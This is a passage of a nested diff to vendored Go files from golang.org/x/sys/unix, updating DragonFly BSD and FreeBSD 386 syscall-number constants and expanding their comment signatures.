- SYS_GETFH = 161 // { int getfh(char *fname, struct fhandle *fhp); }
-@@ -116,53 +116,53 @@ const (
- SYS_SETDOMAINNAME = 163 // { int setdomainname(char *domainname, int len); }
- SYS_UNAME = 164 // { int uname(struct utsname *name); }
- SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-- SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, \
-- SYS_EXTPREAD = 173 // { ssize_t extpread(int fd, void *buf, \
-- SYS_EXTPWRITE = 174 // { ssize_t extpwrite(int fd, const void *buf, \
-+ SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, struct rtprio *rtp); }
-+ SYS_EXTPREAD = 173 // { ssize_t extpread(int fd, void *buf, size_t nbyte, int flags, off_t offset); }
-+ SYS_EXTPWRITE = 174 // { ssize_t extpwrite(int fd, const void *buf, size_t nbyte, int flags, off_t offset); }
- SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
- SYS_SETGID = 181 // { int setgid(gid_t gid); }
- SYS_SETEGID = 182 // { int setegid(gid_t egid); }
- SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
- SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
- SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-- SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, \
-- SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, \
-- SYS_MMAP = 197 // { caddr_t mmap(caddr_t addr, size_t len, int prot, \
-+ SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, struct rlimit *rlp); } getrlimit __getrlimit_args int
-+ SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, struct rlimit *rlp); } setrlimit __setrlimit_args int
-+ SYS_MMAP = 197 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, int pad, off_t pos); }
- // SYS_NOSYS = 198; // { int nosys(void); } __syscall __syscall_args int
-- SYS_LSEEK = 199 // { off_t lseek(int fd, int pad, off_t offset, \
-+ SYS_LSEEK = 199 // { off_t lseek(int fd, int pad, off_t offset, int whence); }
- SYS_TRUNCATE = 200 // { int truncate(char *path, int pad, off_t length); }
- SYS_FTRUNCATE = 201 // { int ftruncate(int fd, int pad, off_t length); }
-- SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, \
-+ SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); } __sysctl sysctl_args int
- SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
- SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
- SYS_UNDELETE = 205 // { int undelete(char *path); }
- SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
- SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-- SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, \
-- SYS___SEMCTL = 220 // { int __semctl(int semid, int semnum, int cmd, \
-+ SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS___SEMCTL = 220 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
- SYS_SEMGET = 221 // { int semget(key_t key, int nsems, int semflg); }
-- SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, \
-- SYS_MSGCTL = 224 // { int msgctl(int msqid, int cmd, \
-+ SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, u_int nsops); }
-+ SYS_MSGCTL = 224 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
- SYS_MSGGET = 225 // { int msgget(key_t key, int msgflg); }
-- SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, \
-- SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, \
-- SYS_SHMAT = 228 // { caddr_t shmat(int shmid, const void *shmaddr, \
-- SYS_SHMCTL = 229 // { int shmctl(int shmid, int cmd, \
-+ SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { caddr_t shmat(int shmid, const void *shmaddr, int shmflg); }
-+ SYS_SHMCTL = 229 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
- SYS_SHMDT = 230 // { int shmdt(const void *shmaddr); }
- SYS_SHMGET = 231 // { int shmget(key_t key, size_t size, int shmflg); }
-- SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 233 // { int clock_settime(clockid_t clock_id, \
-- SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, \
-- SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, \
-+ SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 233 // { int clock_settime(clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, struct timespec *tp); }
-+ SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
- SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
- SYS_RFORK = 251 // { int rfork(int flags); }
-- SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, \
-+ SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
- SYS_ISSETUGID = 253 // { int issetugid(void); }
- SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
- SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
- SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
-- SYS_EXTPREADV = 289 // { ssize_t extpreadv(int fd, struct iovec *iovp, \
-- SYS_EXTPWRITEV = 290 // { ssize_t extpwritev(int fd, struct iovec *iovp,\
-+ SYS_EXTPREADV = 289 // { ssize_t extpreadv(int fd, struct iovec *iovp, u_int iovcnt, int flags, off_t offset); }
-+ SYS_EXTPWRITEV = 290 // { ssize_t extpwritev(int fd, struct iovec *iovp,u_int iovcnt, int flags, off_t offset); }
- SYS_FHSTATFS = 297 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
- SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
- SYS_MODNEXT = 300 // { int modnext(int modid); }
-@@ -200,34 +200,34 @@ const (
- SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
- SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
- SYS_JAIL = 338 // { int jail(struct jail *jail); }
-- SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, \
-+ SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
- SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-- SYS_SIGACTION = 342 // { int sigaction(int sig, const struct sigaction *act, \
-+ SYS_SIGACTION = 342 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
- SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
- SYS_SIGRETURN = 344 // { int sigreturn(ucontext_t *sigcntxp); }
-- SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set,\
-- SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set,\
-- SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, \
-- SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, \
-- SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, \
-- SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, \
-- SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, \
-+ SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set,siginfo_t *info, const struct timespec *timeout); }
-+ SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set,siginfo_t *info); }
-+ SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
- SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
-- SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, \
-- SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, \
-- SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, \
-- SYS_EXTATTR_SET_FILE = 356 // { int extattr_set_file(const char *path, \
-- SYS_EXTATTR_GET_FILE = 357 // { int extattr_get_file(const char *path, \
-- SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, \
-+ SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
-+ SYS_EXTATTR_SET_FILE = 356 // { int extattr_set_file(const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FILE = 357 // { int extattr_get_file(const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
- SYS_AIO_WAITCOMPLETE = 359 // { int aio_waitcomplete(struct aiocb **aiocbp, struct timespec *timeout); }
- SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
- SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
- SYS_KQUEUE = 362 // { int kqueue(void); }
-- SYS_KEVENT = 363 // { int kevent(int fd, \
-+ SYS_KEVENT = 363 // { int kevent(int fd, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
- SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
- SYS_LCHFLAGS = 391 // { int lchflags(char *path, int flags); }
- SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
-- SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, \
-+ SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
- SYS_VARSYM_SET = 450 // { int varsym_set(int level, const char *name, const char *data); }
- SYS_VARSYM_GET = 451 // { int varsym_get(int mask, const char *wild, char *buf, int bufsize); }
- SYS_VARSYM_LIST = 452 // { int varsym_list(int level, char *buf, int maxsize, int *marker); }
-@@ -245,58 +245,58 @@ const (
- SYS_FSTAT = 476 // { int fstat(int fd, struct stat *sb); }
- SYS_LSTAT = 477 // { int lstat(const char *path, struct stat *ub); }
- SYS_FHSTAT = 478 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
-- SYS_GETDIRENTRIES = 479 // { int getdirentries(int fd, char *buf, u_int count, \
-+ SYS_GETDIRENTRIES = 479 // { int getdirentries(int fd, char *buf, u_int count, long *basep); }
- SYS_GETDENTS = 480 // { int getdents(int fd, char *buf, size_t count); }
-- SYS_USCHED_SET = 481 // { int usched_set(pid_t pid, int cmd, void *data, \
-+ SYS_USCHED_SET = 481 // { int usched_set(pid_t pid, int cmd, void *data, int bytes); }
- SYS_EXTACCEPT = 482 // { int extaccept(int s, int flags, caddr_t name, int *anamelen); }
- SYS_EXTCONNECT = 483 // { int extconnect(int s, int flags, caddr_t name, int namelen); }
- SYS_MCONTROL = 485 // { int mcontrol(void *addr, size_t len, int behav, off_t value); }
- SYS_VMSPACE_CREATE = 486 // { int vmspace_create(void *id, int type, void *data); }
- SYS_VMSPACE_DESTROY = 487 // { int vmspace_destroy(void *id); }
-- SYS_VMSPACE_CTL = 488 // { int vmspace_ctl(void *id, int cmd, \
-- SYS_VMSPACE_MMAP = 489 // { int vmspace_mmap(void *id, void *addr, size_t len, \
-- SYS_VMSPACE_MUNMAP = 490 // { int vmspace_munmap(void *id, void *addr, \
-- SYS_VMSPACE_MCONTROL = 491 // { int vmspace_mcontrol(void *id, void *addr, \
-- SYS_VMSPACE_PREAD = 492 // { ssize_t vmspace_pread(void *id, void *buf, \
-- SYS_VMSPACE_PWRITE = 493 // { ssize_t vmspace_pwrite(void *id, const void *buf, \
-+ SYS_VMSPACE_CTL = 488 // { int vmspace_ctl(void *id, int cmd, struct trapframe *tframe, struct vextframe *vframe); }
-+ SYS_VMSPACE_MMAP = 489 // { int vmspace_mmap(void *id, void *addr, size_t len, int prot, int flags, int fd, off_t offset); }
-+ SYS_VMSPACE_MUNMAP = 490 // { int vmspace_munmap(void *id, void *addr, size_t len); }
-+ SYS_VMSPACE_MCONTROL = 491 // { int vmspace_mcontrol(void *id, void *addr, size_t len, int behav, off_t value); }
-+ SYS_VMSPACE_PREAD = 492 // { ssize_t vmspace_pread(void *id, void *buf, size_t nbyte, int flags, off_t offset); }
-+ SYS_VMSPACE_PWRITE = 493 // { ssize_t vmspace_pwrite(void *id, const void *buf, size_t nbyte, int flags, off_t offset); }
- SYS_EXTEXIT = 494 // { void extexit(int how, int status, void *addr); }
- SYS_LWP_CREATE = 495 // { int lwp_create(struct lwp_params *params); }
- SYS_LWP_GETTID = 496 // { lwpid_t lwp_gettid(void); }
- SYS_LWP_KILL = 497 // { int lwp_kill(pid_t pid, lwpid_t tid, int signum); }
- SYS_LWP_RTPRIO = 498 // { int lwp_rtprio(int function, pid_t pid, lwpid_t tid, struct rtprio *rtp); }
-- SYS_PSELECT = 499 // { int pselect(int nd, fd_set *in, fd_set *ou, \
-+ SYS_PSELECT = 499 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sigmask); }
- SYS_STATVFS = 500 // { int statvfs(const char *path, struct statvfs *buf); }
- SYS_FSTATVFS = 501 // { int fstatvfs(int fd, struct statvfs *buf); }
- SYS_FHSTATVFS = 502 // { int fhstatvfs(const struct fhandle *u_fhp, struct statvfs *buf); }
-- SYS_GETVFSSTAT = 503 // { int getvfsstat(struct statfs *buf, \
-+ SYS_GETVFSSTAT = 503 // { int getvfsstat(struct statfs *buf, struct statvfs *vbuf, long vbufsize, int flags); }
- SYS_OPENAT = 504 // { int openat(int fd, char *path, int flags, int mode); }
-- SYS_FSTATAT = 505 // { int fstatat(int fd, char *path, \
-- SYS_FCHMODAT = 506 // { int fchmodat(int fd, char *path, int mode, \
-- SYS_FCHOWNAT = 507 // { int fchownat(int fd, char *path, int uid, int gid, \
-+ SYS_FSTATAT = 505 // { int fstatat(int fd, char *path, struct stat *sb, int flags); }
-+ SYS_FCHMODAT = 506 // { int fchmodat(int fd, char *path, int mode, int flags); }
-+ SYS_FCHOWNAT = 507 // { int fchownat(int fd, char *path, int uid, int gid, int flags); }
- SYS_UNLINKAT = 508 // { int unlinkat(int fd, char *path, int flags); }
-- SYS_FACCESSAT = 509 // { int faccessat(int fd, char *path, int amode, \
-- SYS_MQ_OPEN = 510 // { mqd_t mq_open(const char * name, int oflag, \
-+ SYS_FACCESSAT = 509 // { int faccessat(int fd, char *path, int amode, int flags); }
-+ SYS_MQ_OPEN = 510 // { mqd_t mq_open(const char * name, int oflag, mode_t mode, struct mq_attr *attr); }
- SYS_MQ_CLOSE = 511 // { int mq_close(mqd_t mqdes); }
- SYS_MQ_UNLINK = 512 // { int mq_unlink(const char *name); }
-- SYS_MQ_GETATTR = 513 // { int mq_getattr(mqd_t mqdes, \
-- SYS_MQ_SETATTR = 514 // { int mq_setattr(mqd_t mqdes, \
-- SYS_MQ_NOTIFY = 515 // { int mq_notify(mqd_t mqdes, \
-- SYS_MQ_SEND = 516 // { int mq_send(mqd_t mqdes, const char *msg_ptr, \
-- SYS_MQ_RECEIVE = 517 // { ssize_t mq_receive(mqd_t mqdes, char *msg_ptr, \
-- SYS_MQ_TIMEDSEND = 518 // { int mq_timedsend(mqd_t mqdes, \
-- SYS_MQ_TIMEDRECEIVE = 519 // { ssize_t mq_timedreceive(mqd_t mqdes, \
-+ SYS_MQ_GETATTR = 513 // { int mq_getattr(mqd_t mqdes, struct mq_attr *mqstat); }
-+ SYS_MQ_SETATTR = 514 // { int mq_setattr(mqd_t mqdes, const struct mq_attr *mqstat, struct mq_attr *omqstat); }
-+ SYS_MQ_NOTIFY = 515 // { int mq_notify(mqd_t mqdes, const struct sigevent *notification); }
-+ SYS_MQ_SEND = 516 // { int mq_send(mqd_t mqdes, const char *msg_ptr, size_t msg_len, unsigned msg_prio); }
-+ SYS_MQ_RECEIVE = 517 // { ssize_t mq_receive(mqd_t mqdes, char *msg_ptr, size_t msg_len, unsigned *msg_prio); }
-+ SYS_MQ_TIMEDSEND = 518 // { int mq_timedsend(mqd_t mqdes, const char *msg_ptr, size_t msg_len, unsigned msg_prio, const struct timespec *abs_timeout); }
-+ SYS_MQ_TIMEDRECEIVE = 519 // { ssize_t mq_timedreceive(mqd_t mqdes, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
- SYS_IOPRIO_SET = 520 // { int ioprio_set(int which, int who, int prio); }
- SYS_IOPRIO_GET = 521 // { int ioprio_get(int which, int who); }
- SYS_CHROOT_KERNEL = 522 // { int chroot_kernel(char *path); }
-- SYS_RENAMEAT = 523 // { int renameat(int oldfd, char *old, int newfd, \
-+ SYS_RENAMEAT = 523 // { int renameat(int oldfd, char *old, int newfd, char *new); }
- SYS_MKDIRAT = 524 // { int mkdirat(int fd, char *path, mode_t mode); }
- SYS_MKFIFOAT = 525 // { int mkfifoat(int fd, char *path, mode_t mode); }
-- SYS_MKNODAT = 526 // { int mknodat(int fd, char *path, mode_t mode, \
-- SYS_READLINKAT = 527 // { int readlinkat(int fd, char *path, char *buf, \
-+ SYS_MKNODAT = 526 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
-+ SYS_READLINKAT = 527 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
- SYS_SYMLINKAT = 528 // { int symlinkat(char *path1, int fd, char *path2); }
- SYS_SWAPOFF = 529 // { int swapoff(char *name); }
-- SYS_VQUOTACTL = 530 // { int vquotactl(const char *path, \
-- SYS_LINKAT = 531 // { int linkat(int fd1, char *path1, int fd2, \
-+ SYS_VQUOTACTL = 530 // { int vquotactl(const char *path, struct plistref *pref); }
-+ SYS_LINKAT = 531 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flags); }
- SYS_EACCESS = 532 // { int eaccess(char *path, int flags); }
- SYS_LPATHCONF = 533 // { int lpathconf(char *path, int name); }
- SYS_VMM_GUEST_CTL = 534 // { int vmm_guest_ctl(int op, struct vmm_guest_options *options); }
-@@ -308,7 +308,7 @@ const (
- SYS_FUTIMENS = 540 // { int futimens(int fd, const struct timespec *ts); }
- SYS_ACCEPT4 = 541 // { int accept4(int s, caddr_t name, int *anamelen, int flags); }
- SYS_LWP_SETNAME = 542 // { int lwp_setname(lwpid_t tid, const char *name); }
-- SYS_PPOLL = 543 // { int ppoll(struct pollfd *fds, u_int nfds, \
-+ SYS_PPOLL = 543 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *sigmask); }
- SYS_LWP_SETAFFINITY = 544 // { int lwp_setaffinity(pid_t pid, lwpid_t tid, const cpumask_t *mask); }
- SYS_LWP_GETAFFINITY = 545 // { int lwp_getaffinity(pid_t pid, lwpid_t tid, cpumask_t *mask); }
- SYS_LWP_CREATE2 = 546 // { int lwp_create2(struct lwp_params *params, const cpumask_t *mask); }
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_386.go b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_386.go
-index b64a8122..9474974b 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_386.go
-@@ -1,4 +1,4 @@
--// mksysnum_freebsd.pl
-+// go run mksysnum.go https://svn.freebsd.org/base/stable/11/sys/kern/syscalls.master
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,freebsd
-@@ -7,347 +7,390 @@ package unix
-
- const (
- // SYS_NOSYS = 0; // { int nosys(void); } syscall nosys_args int
-- SYS_EXIT = 1 // { void sys_exit(int rval); } exit \
-- SYS_FORK = 2 // { int fork(void); }
-- SYS_READ = 3 // { ssize_t read(int fd, void *buf, \
-- SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-- SYS_CLOSE = 6 // { int close(int fd); }
-- SYS_WAIT4 = 7 // { int wait4(int pid, int *status, \
-- SYS_LINK = 9 // { int link(char *path, char *link); }
-- SYS_UNLINK = 10 // { int unlink(char *path); }
-- SYS_CHDIR = 12 // { int chdir(char *path); }
-- SYS_FCHDIR = 13 // { int fchdir(int fd); }
-- SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-- SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-- SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-- SYS_OBREAK = 17 // { int obreak(char *nsize); } break \
-- SYS_GETPID = 20 // { pid_t getpid(void); }
-- SYS_MOUNT = 21 // { int mount(char *type, char *path, \
-- SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-- SYS_SETUID = 23 // { int setuid(uid_t uid); }
-- SYS_GETUID = 24 // { uid_t getuid(void); }
-- SYS_GETEUID = 25 // { uid_t geteuid(void); }
-- SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, \
-- SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, \
-- SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, \
-- SYS_ACCEPT = 30 // { int accept(int s, \
-- SYS_GETPEERNAME = 31 // { int getpeername(int fdes, \
-- SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, \
-- SYS_ACCESS = 33 // { int access(char *path, int amode); }
-- SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-- SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-- SYS_SYNC = 36 // { int sync(void); }
-- SYS_KILL = 37 // { int kill(int pid, int signum); }
-- SYS_GETPPID = 39 // { pid_t getppid(void); }
-- SYS_DUP = 41 // { int dup(u_int fd); }
-- SYS_PIPE = 42 // { int pipe(void); }
-- SYS_GETEGID = 43 // { gid_t getegid(void); }
-- SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, \
-- SYS_GETGID = 47 // { gid_t getgid(void); }
-- SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int \
-- SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-- SYS_ACCT = 51 // { int acct(char *path); }
-- SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, \
-- SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, \
-- SYS_REBOOT = 55 // { int reboot(int opt); }
-- SYS_REVOKE = 56 // { int revoke(char *path); }
-- SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-- SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, \
-- SYS_EXECVE = 59 // { int execve(char *fname, char **argv, \
-- SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args \
-- SYS_CHROOT = 61 // { int chroot(char *path); }
-- SYS_MSYNC = 65 // { int msync(void *addr, size_t len, \
-- SYS_VFORK = 66 // { int vfork(void); }
-- SYS_SBRK = 69 // { int sbrk(int incr); }
-- SYS_SSTK = 70 // { int sstk(int incr); }
-- SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise \
-- SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, \
-- SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, \
-- SYS_GETPGRP = 81 // { int getpgrp(void); }
-- SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-- SYS_SETITIMER = 83 // { int setitimer(u_int which, struct \
-- SYS_SWAPON = 85 // { int swapon(char *name); }
-- SYS_GETITIMER = 86 // { int getitimer(u_int which, \
-- SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-- SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-- SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-- SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, \
-- SYS_FSYNC = 95 // { int fsync(int fd); }
-- SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, \
-- SYS_SOCKET = 97 // { int socket(int domain, int type, \
-- SYS_CONNECT = 98 // { int connect(int s, caddr_t name, \
-- SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-- SYS_BIND = 104 // { int bind(int s, caddr_t name, \
-- SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, \
-- SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-- SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, \
-- SYS_GETRUSAGE = 117 // { int getrusage(int who, \
-- SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, \
-- SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, \
-- SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, \
-- SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-- SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-- SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-- SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-- SYS_RENAME = 128 // { int rename(char *from, char *to); }
-- SYS_FLOCK = 131 // { int flock(int fd, int how); }
-- SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-- SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, \
-- SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, \
-- SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-- SYS_RMDIR = 137 // { int rmdir(char *path); }
-- SYS_UTIMES = 138 // { int utimes(char *path, \
-- SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, \
-- SYS_SETSID = 147 // { int setsid(void); }
-- SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, \
-- SYS_LGETFH = 160 // { int lgetfh(char *fname, \
-- SYS_GETFH = 161 // { int getfh(char *fname, \
-- SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-- SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, \
-- SYS_FREEBSD6_PREAD = 173 // { ssize_t freebsd6_pread(int fd, void *buf, \
-- SYS_FREEBSD6_PWRITE = 174 // { ssize_t freebsd6_pwrite(int fd, \
-- SYS_SETFIB = 175 // { int setfib(int fibnum); }
-- SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-- SYS_SETGID = 181 // { int setgid(gid_t gid); }
-- SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-- SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-- SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-- SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-- SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-- SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-- SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-- SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, \
-- SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, \
-- SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, \
-- SYS_FREEBSD6_MMAP = 197 // { caddr_t freebsd6_mmap(caddr_t addr, \
-- SYS_FREEBSD6_LSEEK = 199 // { off_t freebsd6_lseek(int fd, int pad, \
-- SYS_FREEBSD6_TRUNCATE = 200 // { int freebsd6_truncate(char *path, int pad, \
-- SYS_FREEBSD6_FTRUNCATE = 201 // { int freebsd6_ftruncate(int fd, int pad, \
-- SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, \
-- SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-- SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-- SYS_UNDELETE = 205 // { int undelete(char *path); }
